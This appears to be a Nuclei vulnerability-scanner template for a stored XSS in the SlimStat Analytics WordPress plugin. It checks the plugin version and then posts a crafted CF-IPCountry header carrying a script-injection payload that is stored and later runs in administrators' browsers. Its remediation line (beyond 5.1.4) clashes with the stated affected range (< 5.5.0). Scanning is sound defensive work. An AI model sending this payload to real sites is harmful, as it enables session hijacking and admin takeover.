CVE-2026-12592: SlimStat Analytics < 5.5.0 - Unauthenticated Stored XSS via CF-IPCountry Header

id: CVE-2026-12592

info:
  name: SlimStat Analytics < 5.5.0 - Unauthenticated Stored XSS via CF-IPCountry Header
  author: yaswanth
  severity: high
  description: |
    SlimStat Analytics WordPress plugin < 5.5.0 contains a stored XSS caused by unescaped visitor-controlled geolocation value in admin analytics reports, letting unauthenticated visitors execute scripts in admin browsers, exploit requires Cloudflare geolocation provider configuration.
  impact: |
    Unauthenticated attackers can execute scripts in administrator browsers, potentially leading to session hijacking or full admin control.
  remediation: |
    Update to the latest version beyond 5.1.4.
  reference:
    - https://wpscan.com/vulnerability/3658cae6-f6ae-4ecc-8d74-bb402e61f5d5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12592
    - https://wordpress.org/plugins/wp-slimstat/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2026-12592
    epss-score: 0.00352
    epss-percentile: 0.29102
    cwe-id: CWE-79
  metadata:
    max-request: 2
    vendor: wp-slimstat
    product: slimstat-analytics
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-slimstat"
  tags: cve,cve2026,wordpress,wp-plugin,wp-slimstat,unauth,xss,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-slimstat/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: lsversion
        part: body
        internal: true
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'

    matchers:
      - type: dsl

        internal: true
        dsl:
          - 'status_code == 200'
          - 'compare_versions(lsversion, "< 5.5.0")'
        condition: and

  - raw:
      - |
        POST /wp-json/slimstat/v1/hit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        CF-Ray: 8aabbccddeeff001-SJC
        CF-IPCountry: "onload="print()
        Referer: {{RootURL}}/

        res=1920x1080
      - |
        POST /?rest_route=/slimstat/v1/hit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        CF-Ray: 8aabbccddeeff001-SJC
        CF-IPCountry: "onload="print()
        Referer: {{RootURL}}/

        res=1920x1080

    stop-at-first-match: true

    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'status_code == 200'
          - 'regex("^[0-9]+\\.[a-f0-9]{32,64}$", body)'

    extractors:
      - type: dsl
        dsl:
          - 'lsversion'
# digest: 4a0a0047304502207ad42a9192f37165991804339e909188cd921f35fd3a58b95a071c45fe260eb10221009f8e52347a2c028686a2cf4a48e28596626bff22843291c1d39ddab2a8c89c1c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.